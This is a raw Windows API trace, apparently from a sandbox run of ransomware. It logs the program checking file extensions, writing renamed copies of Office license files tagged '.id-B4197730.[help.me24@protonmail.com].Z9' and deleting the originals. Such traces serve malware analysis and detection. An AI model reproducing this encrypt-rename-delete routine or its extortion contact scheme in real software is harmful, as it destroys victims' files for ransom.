	[0187.675] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString=".1cd") returned 4
	[0187.675] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString=".jpg") returned 4
	[0187.675] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.675] lstrlenW (lpString=".doc") returned 4
	[0187.675] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.675] lstrlenW (lpString=".docx") returned 5
	[0187.676] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.676] lstrlenW (lpString=".pdf") returned 4
	[0187.676] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString=".xls") returned 4
	[0187.676] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString=".xlsx") returned 5
	[0187.676] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.676] lstrlenW (lpString=".ppt") returned 4
	[0187.676] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.676] lstrlenW (lpString=".zip") returned 4
	[0187.676] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString=".rar") returned 4
	[0187.676] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString=".bz2") returned 4
	[0187.676] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString=".7z") returned 3
	[0187.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.676] lstrlenW (lpString=".dbf") returned 4
	[0187.676] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.676] lstrlenW (lpString=".1cd") returned 4
	[0187.676] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0187.676] lstrlenW (lpString=".jpg") returned 4
	[0187.676] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.676] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.676] lstrlenW (lpString="O365HomePremR_Subscription1-pl.xrm-ms") returned 37
	[0187.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.677] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11199) returned 1
	[0187.677] CloseHandle (hObject=0x540) returned 1
	[0187.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220
	[0187.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.678] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.678] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0187.680] GetLastError () returned 0x0
	[0187.680] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0187.718] WriteFile (in: hFile=0x2a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0187.720] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.720] WriteFile (in: hFile=0x2a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11e, lpOverlapped=0x0) returned 1
	[0187.720] SetEndOfFile (hFile=0x2a8) returned 1
	[0187.720] CloseHandle (hObject=0x2a8) returned 1
	[0187.720] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.720] SetEndOfFile (hFile=0x540) returned 1
	[0187.724] CloseHandle (hObject=0x540) returned 1
	[0187.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1
	[0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.726] lstrlenW (lpString=".doc") returned 4
	[0187.726] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString=".docx") returned 5
	[0187.726] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.726] lstrlenW (lpString=".pdf") returned 4
	[0187.726] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString=".xls") returned 4
	[0187.726] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString=".xlsx") returned 5
	[0187.726] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.726] lstrlenW (lpString=".ppt") returned 4
	[0187.726] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.726] lstrlenW (lpString=".zip") returned 4
	[0187.726] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString=".rar") returned 4
	[0187.726] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString=".bz2") returned 4
	[0187.726] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString=".7z") returned 3
	[0187.726] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.726] lstrlenW (lpString=".dbf") returned 4
	[0187.726] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.726] lstrlenW (lpString=".1cd") returned 4
	[0187.726] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.726] lstrlenW (lpString=".jpg") returned 4
	[0187.727] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.727] lstrlenW (lpString=".doc") returned 4
	[0187.727] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString=".docx") returned 5
	[0187.727] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.727] lstrlenW (lpString=".pdf") returned 4
	[0187.727] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString=".xls") returned 4
	[0187.727] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString=".xlsx") returned 5
	[0187.727] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.727] lstrlenW (lpString=".ppt") returned 4
	[0187.727] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.727] lstrlenW (lpString=".zip") returned 4
	[0187.727] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString=".rar") returned 4
	[0187.727] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString=".bz2") returned 4
	[0187.727] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString=".7z") returned 3
	[0187.727] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.727] lstrlenW (lpString=".dbf") returned 4
	[0187.727] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.727] lstrlenW (lpString=".1cd") returned 4
	[0187.727] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87
	[0187.727] lstrlenW (lpString=".jpg") returned 4
	[0187.727] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.728] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.728] lstrlenW (lpString="O365HomePremR_Subscription2-pl.xrm-ms") returned 37
	[0187.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.728] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11199) returned 1
	[0187.728] CloseHandle (hObject=0x540) returned 1
	[0187.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220
	[0187.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.729] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.729] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0187.730] GetLastError () returned 0x0
	[0187.730] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0187.757] WriteFile (in: hFile=0x2a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0187.758] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.758] WriteFile (in: hFile=0x2a8, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11e, lpOverlapped=0x0) returned 1
	[0187.759] SetEndOfFile (hFile=0x2a8) returned 1
	[0187.774] CloseHandle (hObject=0x2a8) returned 1
	[0187.849] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.849] SetEndOfFile (hFile=0x540) returned 1
	[0187.852] CloseHandle (hObject=0x540) returned 1
	[0187.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1
	[0187.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.853] lstrlenW (lpString=".doc") returned 4
	[0187.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.853] lstrlenW (lpString=".docx") returned 5
	[0187.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.853] lstrlenW (lpString=".pdf") returned 4
	[0187.853] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.853] lstrlenW (lpString=".xls") returned 4
	[0187.853] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.853] lstrlenW (lpString=".xlsx") returned 5
	[0187.853] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.853] lstrlenW (lpString=".ppt") returned 4
	[0187.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.853] lstrlenW (lpString=".zip") returned 4
	[0187.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.853] lstrlenW (lpString=".rar") returned 4
	[0187.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".bz2") returned 4
	[0187.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".7z") returned 3
	[0187.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.854] lstrlenW (lpString=".dbf") returned 4
	[0187.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.854] lstrlenW (lpString=".1cd") returned 4
	[0187.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.854] lstrlenW (lpString=".jpg") returned 4
	[0187.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.854] lstrlenW (lpString=".doc") returned 4
	[0187.854] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".docx") returned 5
	[0187.854] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.854] lstrlenW (lpString=".pdf") returned 4
	[0187.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".xls") returned 4
	[0187.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".xlsx") returned 5
	[0187.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.854] lstrlenW (lpString=".ppt") returned 4
	[0187.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.854] lstrlenW (lpString=".zip") returned 4
	[0187.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".rar") returned 4
	[0187.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".bz2") returned 4
	[0187.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.854] lstrlenW (lpString=".7z") returned 3
	[0187.855] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.855] lstrlenW (lpString=".dbf") returned 4
	[0187.855] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.855] lstrlenW (lpString=".1cd") returned 4
	[0187.855] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0187.855] lstrlenW (lpString=".jpg") returned 4
	[0187.855] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.855] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.855] lstrlenW (lpString="O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 41
	[0187.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.856] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11651) returned 1
	[0187.856] CloseHandle (hObject=0x540) returned 1
	[0187.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0187.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.857] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.857] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0187.857] GetLastError () returned 0x0
	[0187.857] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0187.923] WriteFile (in: hFile=0x384, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0187.924] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.924] WriteFile (in: hFile=0x384, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x126, lpOverlapped=0x0) returned 1
	[0187.924] SetEndOfFile (hFile=0x384) returned 1
	[0187.924] CloseHandle (hObject=0x384) returned 1
	[0187.924] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.925] SetEndOfFile (hFile=0x540) returned 1
	[0187.927] CloseHandle (hObject=0x540) returned 1
	[0187.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0187.929] lstrlenW (lpString=".doc") returned 4
	[0187.929] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString=".docx") returned 5
	[0187.929] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.929] lstrlenW (lpString=".pdf") returned 4
	[0187.929] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString=".xls") returned 4
	[0187.929] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.929] lstrlenW (lpString=".xlsx") returned 5
